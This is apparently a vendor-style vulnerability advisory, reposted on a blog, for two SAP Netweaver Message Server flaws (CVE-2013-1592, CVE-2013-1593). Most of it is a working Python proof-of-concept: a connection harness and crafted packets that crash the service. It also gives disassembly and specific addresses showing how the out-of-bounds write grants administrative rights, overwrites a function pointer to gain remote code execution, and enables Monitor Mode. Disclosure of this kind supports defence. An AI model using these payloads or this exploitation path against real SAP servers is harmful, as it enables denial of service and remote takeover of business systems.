The following python script is the main PoC that can be used to
reproduce all vulnerabilities described below:
/-----
import socket, struct
from optparse import OptionParser
# Parse the target options
parser = OptionParser()
parser.add_option("-d", "--hostname", dest="hostname", help="Hostname",
default="localhost")
parser.add_option("-p", "--port", dest="port", type="int", help="Port
number", default=3900)
(options, args) = parser.parse_args()
client_string = '-'+' '*39
server_name = '-'+' '*39
def send_packet(sock, packet):
packet = struct.pack("!I", len(packet)) + packet
sock.send(packet)
def receive(sock):
length = sock.recv(4)
(length, ) = struct.unpack("!I", length)
data = ""
while len(data)
data+= sock.recv(length)
return (length, data)
def initialize_connection(hostname, port):
# Connect
print "[*] Connecting to", hostname, "port", port
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((hostname, port))
# Send initialization packet
print "[*] Conected, sending login request"
init = '**MESSAGE**\x00' # eyecatcher
init+= '\x04' # version
init+= '\x00' # errorno
init+= client_string # toname
init+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #
msgtype/reserved/key
init+= '\x01\x08' # flag / iflag (MS_LOGIN_2)
init+= client_string # fromname
init+= '\x00\x00' # padd
send_packet(connection, init)
# Receive response
print "[*] Receiving login reply"
(length, data) = receive(connection)
# Parsing login reply
server_name = data[4+64:4+64+40]
return connection
# Main PoC body
connection = initialize_connection(options.hostname, options.port)
send_attack(connection)
-----/
In the following subsections, we give the python code that can be added
after the script above in order to reproduce all vulnerabilities.
8.1. *SAP Netweaver Message Server _MsJ2EE_AddStatistics Vulnerability*
[CVE-2013-1592] The vulnerability can be triggered when SAP Netweaver
'msg_server.exe' module processes a specially crafted network packet
containing a request with 'iflag' value 0x0c
'MS_J2EE_SEND_TO_CLUSTERID', or 0x0d 'MS_J2EE_SEND_BROADCAST'. Malicious
packets are processed by the vulnerable function '_MsJ2EE_AddStatistics'
in the 'msg_server.exe' module. This vulnerability might allow a remote,
unauthenticated attacker to execute arbitrary code with the privileges
of the user running the 'Message Server' service or conduct a denial of
service attack against the vulnerable systems.
The vulnerable function '_MsJ2EE_AddStatistics' receives a pointer to a
'MSJ2EE_HEADER' struct as its third parameter, which is fully controlled
by the attacker. This struct type is defined as follows:
/-----
00000000 MSJ2EE_HEADER struct ; (sizeof=0x28, standard type)
00000000 senderclusterid dd ?
00000004 clusterid dd ?
00000008 serviceid dd ?
0000000C groupid dd ?
00000010 nodetype db ?
00000011 db ? ; undefined
00000012 db ? ; undefined
00000013 db ? ; undefined
00000014 totallength dd ?
00000018 currentlength dd ?
0000001C currentoffset dd ?
00000020 totalblocks db ?
00000021 currentblock db ?
00000021
00000022 db ? ; undefined
00000023 db ? ; undefined
00000024 messagetype dd ?
00000028 MSJ2EE_HEADER ends
-----/
The '_MsJ2EE_AddStatistics' function uses the 'serviceid' field of the
'MSJ2EE_HEADER' to calculate an index to write into the
'j2ee_stat_services' global array, without properly validating that the
index is within the boundaries of the array. On the other hand,
'j2ee_stat_services' is a global array of 256 elements of type
'MSJ2EE_STAT_ELEMENT':
/-----
.data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256]
.data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup()
.data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o
.data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ...
-----/
This vulnerability can be used to corrupt arbitrary memory with
arbitrary values, with some restrictions. The following snippet shows
the vulnerable code within the '_MsJ2EE_AddStatistics' function:
/-----
mov edi, [ebp+pJ2eeHeader]
mov eax, [edi+MSJ2EE_HEADER.serviceid] ;attacker
controls MSJ2EE_HEADER.serviceid
xor ecx, ecx
cmp dword ptr j2ee_stat_total.totalMsgCount+4, ecx
lea esi, [eax+eax*8]
lea esi, j2ee_stat_services.totalMsgCount[esi*8] ;using the index
without validating array bounds
-----/
Since the 'serviceid' value is first multiplied by 9 and then it is
multiplied by 8, the granularity of the memory addresses that can be
targeted for memory corruption is 0x48 bytes, which is the size of the
'MSJ2EE_STAT_ELEMENT' struct:
/-----
00000000 MSJ2EE_STAT_ELEMENT struc ; (sizeof=0x48, standard type)
00000000 ; XREF:
.data:j2ee_stat_totalr
00000000 ; .data:j2ee_stat_servicesr
00000000 totalMsgCount dq ? ; XREF:
_MsJ2EE_AddStatistics+1Br
00000000 ;
_MsJ2EE_AddStatistics+2Fr ...
00000008 totalMsgLength dq ? ; XREF:
_MsJ2EE_AddStatistics+192r
00000008 ;
_MsJ2EE_AddStatistics+19Br ...
00000010 avgMsgLength dq ? ; XREF:
_MsJ2EE_AddStatistics+1C2w
00000010 ;
_MsJ2EE_AddStatistics+1C7w ...
00000018 maxLength dq ? ; XREF:
_MsJ2EE_AddStatistics+161r
00000018 ;
_MsJ2EE_AddStatistics+16Er ...
00000020 noP2PMessage dq ? ; XREF:
_MsJ2EE_AddStatistics:loc_44D442w
00000020 ;
_MsJ2EE_AddStatistics+158w ...
00000028 noP2PRequest dq ? ; XREF:
_MsJ2EE_AddStatistics+144w
00000028 ;
_MsJ2EE_AddStatistics+14Aw ...
00000030 noP2PReply dq ? ; XREF:
_MsJ2EE_AddStatistics+132w
00000030 ;
_MsJ2EE_AddStatistics+138w ...
00000038 noBroadcastMessage dq ? ; XREF:
_MsJ2EE_AddStatistics:loc_44D40Dw
00000038 ;
_MsJ2EE_AddStatistics+123w ...
00000040 noBroadcastRequest dq ? ; XREF:
_MsJ2EE_AddStatistics+10Fw
00000040 ;
_MsJ2EE_AddStatistics+115w ...
00000048 MSJ2EE_STAT_ELEMENT ends
-----/
However, it is possible to use different combinations of the
'flag/iflag' values in the Message Server packet to gain more precision
over the memory addresses that can be corrupted. Different combinations
of 'flag/iflag' values provide different memory corruption primitives,
as shown below:
/-----
At this point:
* ESI points to an arbitrary, attacker-controlled memory address
* EBX == 1
.text:0044D359 movzx eax, [ebp+msiflag]
.text:0044D35D sub eax, 0Ch
.text:0044D360 jz short loc_44D37C
.text:0044D362 sub eax, ebx
.text:0044D364 jnz short loc_44D39D
.text:0044D366 cmp [ebp+msflag], 2
.text:0044D36A jnz short loc_44D374
.text:0044D36C add [esi+40h], ebx ; iflag=0xd,
flag=2 => add 1 to [esi+0x40]
.text:0044D36F adc [esi+44h], ecx
.text:0044D372 jmp short loc_44D39D
.text:0044D374 ;
---------------------------------------------------------------------------
.text:0044D374
.text:0044D374 loc_44D374: ; CODE XREF:
_MsJ2EE_AddStatistics+7Aj
.text:0044D374 add [esi+38h], ebx ; iflag=0xd,
flag=1 => add 1 to [esi+0x38]
.text:0044D377 adc [esi+3Ch], ecx
.text:0044D37A jmp short loc_44D39D
.text:0044D37C ;
---------------------------------------------------------------------------
.text:0044D37C
.text:0044D37C loc_44D37C: ; CODE XREF:
_MsJ2EE_AddStatistics+70j
.text:0044D37C mov al, [ebp+msflag]
.text:0044D37F cmp al, 3
.text:0044D381 jnz short loc_44D38B
.text:0044D383 add [esi+30h], ebx ; iflag=0xc,
flag=3 => add 1 to [esi+0x30]
.text:0044D386 adc [esi+34h], ecx
.text:0044D389 jmp short loc_44D39D
.text:0044D38B ;
---------------------------------------------------------------------------
.text:0044D38B
.text:0044D38B loc_44D38B: ; CODE XREF:
_MsJ2EE_AddStatistics+91j
.text:0044D38B cmp al, 2
.text:0044D38D jnz short loc_44D397
.text:0044D38F add [esi+28h], ebx ; iflag=0xc,
flag=2 => add 1 to [esi+0x28]
.text:0044D392 adc [esi+2Ch], ecx
.text:0044D395 jmp short loc_44D39D
.text:0044D397 ;
---------------------------------------------------------------------------
.text:0044D397
.text:0044D397 loc_44D397: ; CODE XREF:
_MsJ2EE_AddStatistics+9Dj
.text:0044D397 add [esi+20h], ebx ; iflag=0xc,
flag=1 => add 1 to [esi+0x20]
.text:0044D39A adc [esi+24h], ecx
[...]
-----/
And the following code excerpt is always executed within the
'_MsJ2EE_AddStatistics' function, providing two more memory corruption
primitives:
/-----
.text:0044D3B7 add [esi],
ebx ;add 1 to [esi]
.text:0044D3B9 adc dword ptr [esi+4], 0
.text:0044D3BD mov eax,
[edi+MSJ2EE_HEADER.totallength] ;MSJ2EE_HEADER.totallength is fully
controlled by the attacker
.text:0044D3C0 cdq
.text:0044D3C1 add [esi+8],
eax ;add an arbitrary number to [esi+8]
-----/
This memory corruption vulnerability can be used by remote
unauthenticated attackers to execute arbitrary code on vulnerable
installations of SAP Netweaver, but it can also be abused to modify the
internal state of the vulnerable service in order to gain administrative
privileges within the SAP Netweaver Message Server.
A client connected to the Message Server may have administrative
privileges or not. The Message Server holds a structure of type
'MSADM_s' for each connected client, which contains information about
that very connection. Relevant parts of the 'MSADM_s' struct type are
shown below:
/-----
00000000 MSADM_s struc ; (sizeof=0x538, standard type)
00000000 ; XREF: .data:dummy_clientr
00000000 client_type dd ? ; enum MS_CLIENT_TYPE
00000004 stat dd ? ; enum MS_STAT
00000008 connection_ID dd ?
0000000C status db ?
0000000D dom db ? ; XREF: MsSFillCon+3Cw
0000000E admin_allowed db ?
0000000F db ? ; undefined
00000010 name dw 40 dup(?)
[...]
00000534 _padding db 4 dup(?)
00000538 MSADM_s ends
-----/
The 'admin_allowed' field at offset 0x0E is a boolean value that
indicates whether the connected client has administrative privileges or
not. When a new client connects, the 'MsSLoginClient' function of the
Message Server sets the proper value for the 'admin_allowed' field in
the 'MSADM_s' struct instance associated with that client:
/-----
.text:004230DC
loc_4230DC: ; CODE
XREF: MsSLoginClient+AAAj
.text:004230DC
; MsSLoginClient+B26j
.text:004230DC cmp byte ptr [edi+0Eh],
0 ; privileged client?
.text:004230E0 jnz short
loc_4230EA ; if yes, jump
.text:004230E2 mov al, byte ptr
ms_admin_allowed ; otherwise, grab the value of the
"ms_admin_allowed" global variable...
.text:004230E7 mov [edi+0Eh],
al ; ...and save it to MSADM_s.admin_allowed
-----/
So if we manage to overwrite the value of the 'ms_admin_allowed' global
variable with a value different than 0, then we can grant administrative
privileges to our unprivileged connections. In SAP Netweaver
'msg_server.exe' v7200.70.18.23869, the 'ms_admin_allowed' global
variable is located at '0x008f17f0':
/-----
.data:008F17F0 ; int ms_admin_allowed
.data:008F17F0 ms_admin_allowed dd ? ; DATA XREF:
MsSSetMonitor+7Ew
.data:008F17F0 ; MsSLoginClient+B62r
-----/
And the 'j2ee_stat_services' global array, which is the array that can
be indexed outside its bounds, is located at '0x0090b9e0':
/-----
.data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256]
.data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup()
.data:0090B9E0 ; DATA XREF:
_MsJ2EE_AddStatistics+24o
.data:0090B9E0 ;
_MsJ2EE_AddStatistics+4Co ...
-----/
So, by providing 'MSJ2EE_HEADER.serviceid == 0x038E3315', we will be
targeting '0x008F17C8' as the base address for memory corruption. Having
in mind the different memory corruption primitives based on combinations
of 'flag/iflag' fields described above, by specifying 'iflag == 0xC' and
'flag == 0x2' in our Message Server packet we will be able to add 1 to
'[0x008F17C8+0x28]', effectively overwriting the contents of
'0x008F17F0' ('ms_admin_allowed'). After overwriting 'ms_admin_allowed',
all of our future connections will have administrative privileges within
the Message Server.
After gaining administrative privileges for our future connections,
there are at least two possible paths of exploitation:
1. Gain remote code execution by overwriting function pointers. Of
course it is not mandatory to have administrative privileges in order to
overwrite function pointers, but considering the limitation of
targetable addresses imposed by the little granularity of the memory
corruption, some of the most handy-to-exploit function pointers happened
to be accessible just for administrative connections.
2. Modify the configuration and behavior of the server. That includes
changing Message Server's runtime parameters and enabling Monitor Mode
in the affected server.
8.1.1. *Gaining remote code execution by overwriting function pointers*
Having in mind that the granularity of the memory addresses that can be
targeted for memory corruption is not that flexible (0x48 bytes) and the
limited memory corruption primitives available, it takes some effort to
find a function pointer that can be overwritten with a useful value and
which can be later triggered with a network packet.
One possibility is to overwrite one of the function pointers which are
in charge of handling the modification of Message Server parameters:
/-----
.data:0087DED0 ; SHMPRF_CHANGEABLE_PARAMETER ms_changeable_parameter[58]
; function pointers associated to the modification of the "ms/max_sleep"
parameter
.data:0087DED0 ms_changeable_parameter SHMPRF_CHANGEABLE_PARAMETER
.data:0087DED0 offset
MsSTestInteger, \ ; "rdisp/TRACE_PATTERN_2"
.data:0087DED0 offset
MsSSetMaxSleep>
; function pointers associated to the modification of the "ms/max_vhost"
parameter
.data:0087DED0 SHMPRF_CHANGEABLE_PARAMETER
aMsMax_vhost, \
.data:0087DED0 offset
MsSTestInteger, \ ;<-- can="" font="" one="" overwrite="" this="" we="">-->
.data:0087DED0 offset
MsSSetMaxVirtHost>
[...]
-----/
By providing 'MSJ2EE_HEADER.serviceid == 0x038E1967' we can target
'0x0087DED8' as the base address for memory corruption. In this case we
can use the memory corruption primitive at address '0x0044D3C1' that
always gets executed, which will allow us to add an arbitrary number
(the value of 'MSJ2EE_HEADER.totallength') to '[0x0087DED8+8]'
effectively overwriting the function pointer shown above
('ms_changeable_parameter[1].set').
After that we need to send a 'MS_SET_PROPERTY' request, specifying
'ms/max_vhost' as the name of the property to be changed. This
'MS_SET_PROPERTY' packet will make our overwritten function pointer to
be called from the 'MsSChangeParam' function:
/-----
.text:00404DB3 loc_404DB3: ; CODE XREF:
MsSChangeParam+CDj
.text:00404DB3 lea esi, [edi+edi*2]
.text:00404DB6 mov edi, [ebp+pvalue]
.text:00404DB9 add esi, esi
.text:00404DBB mov edx,
ms_changeable_parameter.test[esi+esi]
.text:00404DC2 add esi, esi
.text:00404DC4 push edi
.text:00404DC5 push pname
.text:00404DC6 call edx ; call our
overwritten function pointer
-----/
'MS_SET_PROPERTY' packets will be ignored by the Message Server if the
requesting client does not have administrative privileges, so it is
necessary to gain administrative privileges as explained above before
using the memory corruption vulnerability to overwrite one of the
function pointers in the 'ms_changeable_parameter' global array.
8.1.2. *Modify the configuration and behavior of the server*
After gaining administrative privileges for our connections, it is
possible to perform 'MS_SET_PROPERTY' packets against the Message Server
in order to modify its configuration and behavior. That makes possible,
for example, to add virtual hosts to the load balancer, or to enable
Monitor Mode [3] (transaction SMMS) on the affected server. Enabling
Monitor Mode takes two steps:
1. Send a 'MS_SET_PROPERTY' packet with property 'name ==
"ms/monitor"', property 'value == 1'.
2. Send a 'MS_SET_PROPERTY' packet with property 'name ==
"ms/admin_port"', property 'value == 3535' (or any other arbitrary port
number).
After sending the second 'MS_SET_PROPERTY' packet, the SAP Netweaver
Message Server will start listening on the specified port, waiting for
connections from instances of the msmon.exe monitoring program [4].
The following python code can be used to trigger the vulnerability:
/-----
def send_attack(connection):
print "[*] Sending crash packet"
crash = '**MESSAGE**\x00' # eyecatcher
crash+= '\x04' # version
crash+= '\x00' # errorno
crash+= server_name # toname
crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #
msgtype/reserved/key
crash+= '\x04\x0d' # flag/iflag
crash+= client_string # fromname
crash+= '\x00\x00' # padd
crash+=
"ABCDEFGH"+"\x01\x00\x00\x00"+"MNOPQRSTUVWXYZ0123"+"\x01"+"56789abcd"
crash+= "\x00\x00\x00\x01"
crash+= "\xff\xff\xff\xff"
crash+= "\x00\x00\x00\x00"
send_packet(connection, crash)
print "[*] Crash sent !"
-----/
8.2. *SAP Netweaver Message Server WRITE_C Vulnerability*
[CVE-2013-1593] The vulnerability can be triggered when SAP Netweaver
'msg_server.exe' module process a specially crafted network packet
containing a request with administrative opcode 0x15 'AD_RZL_STRG'.
Malicious packets are processed by the vulnerable function 'WRITE_C' in
the 'msg_server.exe' module. This vulnerability could allow a remote,
unauthenticated attacker to conduct a denial of service attack against
the vulnerable systems.
The following python code can be used to trigger the vulnerability:
/-----
def send_attack(connection):
print "[*] Sending crash packet"
crash = '**MESSAGE**\x00' # eyecatcher
crash+= '\x04' # version
crash+= '\x00' # errorno
crash+= server_name # toname
crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #
msgtype/reserved/key
crash+= '\x04\x05' # flag/iflag
crash+= client_string # fromname
crash+= '\x00\x00' # padd
crash+= "AD-EYECATCH\x00"
crash+= "\x01\x01"
crash+= "%11d" % 104
crash+= "%11d" % 1
crash+= "\x15\x00\x00\x00"
crash+= "\x20\x00\x00\xc8"
crash+= "LALA" + ' '*(20-4)
crash+= "LOLO" + ' '*(40-4)
crash+= " "*36
send_packet(connection, crash)
print "[*] Crash sent !"
-----/
No comments:
Post a Comment